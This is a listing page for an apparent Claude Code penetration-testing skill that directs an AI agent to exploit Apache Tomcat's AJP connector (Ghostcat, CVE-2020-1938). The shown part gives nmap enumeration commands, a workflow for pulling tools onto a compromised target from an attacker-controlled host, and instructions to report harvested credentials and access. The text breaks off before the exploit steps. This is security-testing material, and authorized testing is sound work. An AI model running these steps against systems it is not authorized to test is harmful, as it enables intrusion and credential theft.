/ajp-ghostcat
Exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938) for file read and remote code execution on Apache Tomcat. Use when port 8009 is open or AJP connector is exposed.
$ npx -y skills add blacklanternsecurity/red-run --skill ajp-ghostcat --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/ajp-ghostcat
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938) for file read and remote code execution on Apache Tomcat. Use when port 8009 is open or AJP connector is exposed.
SKILL.md
ajp-ghostcat.SKILL.mdname: ajp-ghostcat
description: >
Exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat
(CVE-2020-1938) for file read and remote code execution on Apache Tomcat.
Use when port 8009 is open or AJP connector is exposed.
keywords:
- AJP
- Apache JServ Protocol
- Ghostcat
- CVE-2020-1938
- Apache Tomcat
- port 8009
- AJP connector
- AJP proxy
- Tomcat Manager
- WAR deploy
- WEB-INF/web.xml
- ajpShooter
- mod_proxy_ajp
- nginx ajp
- tomcat file read
- AJP file inclusion
tools:
- nmap
- ajpShooter
- AJPy
- nginx
- curl
opsec: medium
AJP / Ghostcat (CVE-2020-1938)
You are helping a penetration tester exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938). AJP is a binary protocol used for communication between a front-end web server and Tomcat. When the AJP connector is exposed (typically port 8009), it enables arbitrary file read from the webapp directory and, with a file upload primitive, remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ajp-ghostcat] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Scope Boundary
This skill covers AJP protocol exploitation — Ghostcat file read, AJP attribute injection for JSP inclusion, and AJP proxy bypass to access restricted Tomcat management interfaces. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Exploit and Tool Transfer
Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may lack outbound internet access, and operators must review files before they reach the target.
**Attackbox-first workflow:**
1. **Download on attackbox** — `git clone`, `curl`, `searchsploit -m` locally 2. **Review** — inspect source code or binary provenance before transferring 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or `curl http://ATTACKBOX:8080/file -o /tmp/file`
**Alternatives when HTTP is not viable:** `scp`/`sftp` (if SSH exists), `nc` file transfer, base64-encode and paste, or `impacket-smbserver share . -smb2support` on attackbox.
**Inline source code** written via heredoc in this skill does not need this workflow — the operator can read the code directly.
Prerequisites
- AJP port open (typically 8009) with network access from the attackbox
- Apache Tomcat running behind the AJP connector
- For Ghostcat file read: Tomcat < 9.0.31, < 8.5.51, or < 7.0.100
- For JSP inclusion RCE: a file upload primitive somewhere in the application
- For AJP proxy attack: AJP port accessible + Tomcat Manager deployed
- Tools: `nmap`, `ajpShooter.py` (`pip install ajpShooter`), or Python 3
(for inline PoC)
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **AJP port** — is port 8009 (or non-standard AJP port) open? 2. **Tomcat version** — can we fingerprint from HTTP headers, error pages, or nmap scripts? 3. **Webapp context paths** — ROOT, manager, host-manager, custom apps? 4. **HTTP access** — is port 8080/8443 also exposed? What does Tomcat Manager show? 5. **AJP secret** — is `requiredSecret` configured? (blocks unauthenticated AJP)
# Scan for AJP port and Tomcat HTTP
nmap -sV -p 8009,8080,8443 TARGET
# Detailed AJP enumeration with NSE scripts
nmap -sV -p 8009 --script ajp-auth,ajp-headers,ajp-methods,ajp-request TARGET
If nmap shows AJP port as open and responding, proceed. If filtered or closed, this skill does not apply — check if a firewall is in the way or if AJP is bound to localhost only.
Skip if context was already provided.
Step 2: Enumerate AJP Service
Confirm AJP is responding and gather information:
# Confirm AJP responds (ajp-request sends a GET via AJP and shows the response)
nmap -sV -p 8009 --script ajp-request TARGET
# Check supported methods
nmap -p 8009 --script ajp-methods TARGET
# Check authentication requirements
nmap -p 8009 --script ajp-auth TARGET
If AJP responds with a page, note the Tomcat version from response headers or page content. If AJP returns a connection reset or authentication error, `requiredSecret` may be con
Read more
name: ajp-ghostcat description: > Exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938) for file read and remote code execution on Apache Tomcat. Use when port 8009 is open or AJP connector is exposed. keywords: - AJP - Apache JServ Protocol - Ghostcat - CVE-2020-1938 - Apache Tomcat - port 8009 - AJP connector - AJP proxy - Tomcat Manager - WAR deploy - WEB-INF/web.xml - ajpShooter - mod_proxy_ajp - nginx ajp - tomcat file read - AJP file inclusion tools: - nmap - ajpShooter - AJPy - nginx - curl opsec: medium
AJP / Ghostcat (CVE-2020-1938)
You are helping a penetration tester exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938). AJP is a binary protocol used for communication between a front-end web server and Tomcat. When the AJP connector is exposed (typically port 8009), it enables arbitrary file read from the webapp directory and, with a file upload primitive, remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ajp-ghostcat] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Scope Boundary
This skill covers AJP protocol exploitation — Ghostcat file read, AJP attribute injection for JSP inclusion, and AJP proxy bypass to access restricted Tomcat management interfaces. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Exploit and Tool Transfer
Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may lack outbound internet access, and operators must review files before they reach the target.
**Attackbox-first workflow:**
1. **Download on attackbox** — `git clone`, `curl`, `searchsploit -m` locally 2. **Review** — inspect source code or binary provenance before transferring 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or `curl http://ATTACKBOX:8080/file -o /tmp/file`
**Alternatives when HTTP is not viable:** `scp`/`sftp` (if SSH exists), `nc` file transfer, base64-encode and paste, or `impacket-smbserver share . -smb2support` on attackbox.
**Inline source code** written via heredoc in this skill does not need this workflow — the operator can read the code directly.
Prerequisites
- AJP port open (typically 8009) with network access from the attackbox
- Apache Tomcat running behind the AJP connector
- For Ghostcat file read: Tomcat < 9.0.31, < 8.5.51, or < 7.0.100
- For JSP inclusion RCE: a file upload primitive somewhere in the application
- For AJP proxy attack: AJP port accessible + Tomcat Manager deployed
- Tools: `nmap`, `ajpShooter.py` (`pip install ajpShooter`), or Python 3
(for inline PoC)
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **AJP port** — is port 8009 (or non-standard AJP port) open? 2. **Tomcat version** — can we fingerprint from HTTP headers, error pages, or nmap scripts? 3. **Webapp context paths** — ROOT, manager, host-manager, custom apps? 4. **HTTP access** — is port 8080/8443 also exposed? What does Tomcat Manager show? 5. **AJP secret** — is `requiredSecret` configured? (blocks unauthenticated AJP)
# Scan for AJP port and Tomcat HTTP nmap -sV -p 8009,8080,8443 TARGET # Detailed AJP enumeration with NSE scripts nmap -sV -p 8009 --script ajp-auth,ajp-headers,ajp-methods,ajp-request TARGET
If nmap shows AJP port as open and responding, proceed. If filtered or closed, this skill does not apply — check if a firewall is in the way or if AJP is bound to localhost only.
Skip if context was already provided.
Step 2: Enumerate AJP Service
Confirm AJP is responding and gather information:
# Confirm AJP responds (ajp-request sends a GET via AJP and shows the response) nmap -sV -p 8009 --script ajp-request TARGET # Check supported methods nmap -p 8009 --script ajp-methods TARGET # Check authentication requirements nmap -p 8009 --script ajp-auth TARGET
If AJP responds with a page, note the Tomcat version from response headers or page content. If AJP returns a connection reset or authentication error, `requiredSecret` may be con
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

